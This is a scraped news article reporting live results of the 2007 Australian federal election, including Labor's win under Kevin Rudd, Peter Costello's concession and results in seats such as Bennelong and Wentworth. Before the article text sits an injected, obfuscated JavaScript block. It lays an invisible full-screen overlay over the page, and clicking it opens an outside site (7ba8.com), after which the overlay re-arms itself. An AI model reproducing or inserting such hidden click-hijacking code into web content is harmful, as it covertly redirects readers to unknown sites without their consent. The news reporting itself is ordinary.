<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>Kevin Rudd is Australia's next prime ministerSaturday Nov 24 22:00 AEDT
WATCH LIVE: National Nine News Election 2007 Special
By ninemsn staff and wires
Federal Treasurer Peter Costello has conceded the Coalition Government's election loss is "pretty clear".
In a speech to supporters he paid tribute to Liberal Party colleagues but said that "a change of government seems pretty clear".
Kevin Rudd is set to become the next prime minister of Australia, with the Australian Labor Party taking at least 80 seats in the House of Representatives, according to election predictions.
Deputy Labor leader Julia Gillard has all but claimed victory for her party.
"I'd say on the numbers we're seeing tonight Labor is going to form government," Ms Gillard told ABC TV, over the cheers of Labor supporters.
John Howard biographer Peter Van Onselen said Labor have an unbeatable lead. "Even if the Liberal Party do as well as they can in the west they can't win this election, they are too far behind," he said.
But Rudd is "too cautious to get excited", Labor sources said. Labor need to win 76 seats to take government from the Coalition for the first time in 11 years.
There have been some huge swings against the Coalition in Queensland, including a 14.75 swing in Leichhardt.
Indigenous Affairs Minister Mal Brough has lost his Queensland seat of Longman, with Labor's Jon Sullivan sitting on about 48 per cent of the primary vote.
But Environment Minister Malcolm Turnbull has claimed victory in the eastern Sydney seat of Wentworth, increasing his margin by almost 1 percent after 60 percent of the vote has been counted. (VIDEO: Turnbull holds on)
"This is your win," he told party faithful.
"This has been a very tough campaign. It 's had a lot of dramas and a lot of challenges. But we've got to the other end of it successfully." (VIDEO: Nine's Michael Usher in Wentworth)
Labor's star candidate Maxine McKew has pulled further ahead of Prime Minister John Howard in Bennelong. Ms McKew had 51.1 per cent of the vote on a two-party preferred basis, with Mr Howard on 48.99, after 65.82 per cent of the vote has been counted. (VIDEO: McKew over the moon)
"Bennelong will never be taken for granted again," she told her supporters, but still refused to claim victory and said the seat was on "a knife's edge".
In the controversial western Sydney seat of Lindsay, Labor's David Bradbury has claimed victory over Liberal candidate Karen Chijoff with 52.9 per cent of the two-party preferred vote.
"I'm a very happy man," he told AAP.
The seat, held by retiring Liberal MP Jackie Kelly, had its share of controversy when Liberal Party members distributed hoax anti-Muslim pamphlets. "It shows, with the events of the last week, that this is a government that has run out of ideas," Mr Bradbury said.
The litmus-test seat of Eden-Monaro on the NSW south coast appears to have been convincingly won by Labor candidate Mike Kelly, who unseats Liberal front bencher Gary Nairn.
Early results in Western Australia suggest a slightly better result for the Coalition, with the Liberal Party holding in Kalgoorlie with around 10 percent of the vote counted, despite a 4.5 percent swing.
Federal Agriculture Minister Peter McGauran has retained his Victorian seat of Gippsland, despite a 1.9 per cent swing against him.
Nationals leader Mark Vaile should comfortably hold his NSW seat of Lyne.
Labor has won the blue ribbon NSW Nationals seat of Page, with a 8.2 per cent swing to Labor candidate Janelle Saffin after more than three quarters of cotes have been counted.
Victoria is not expected to play a crucial role in determining the election outcome, but a big swing against the Coalition could result in several Victorian seats changing hands.
Earlier, exit polls indicated that Labor will win the 2007 election in a landslide with 53 per cent of the vote on a two-party preferred basis.
The Sky News and Network Seven exit poll of 2700 voters across 31 marginal Coalition seats in Australia shows that Mr Rudd will be the next prime minister.
(VIDEO: Wayne Swan talks up Labor's mandate)
Both exit poll results mirror the predictions from Passion Pulse, ninemsn's poll of more than 80,000 people, which has forecast a Labor landslide. (Full seat-by-seat forecast)
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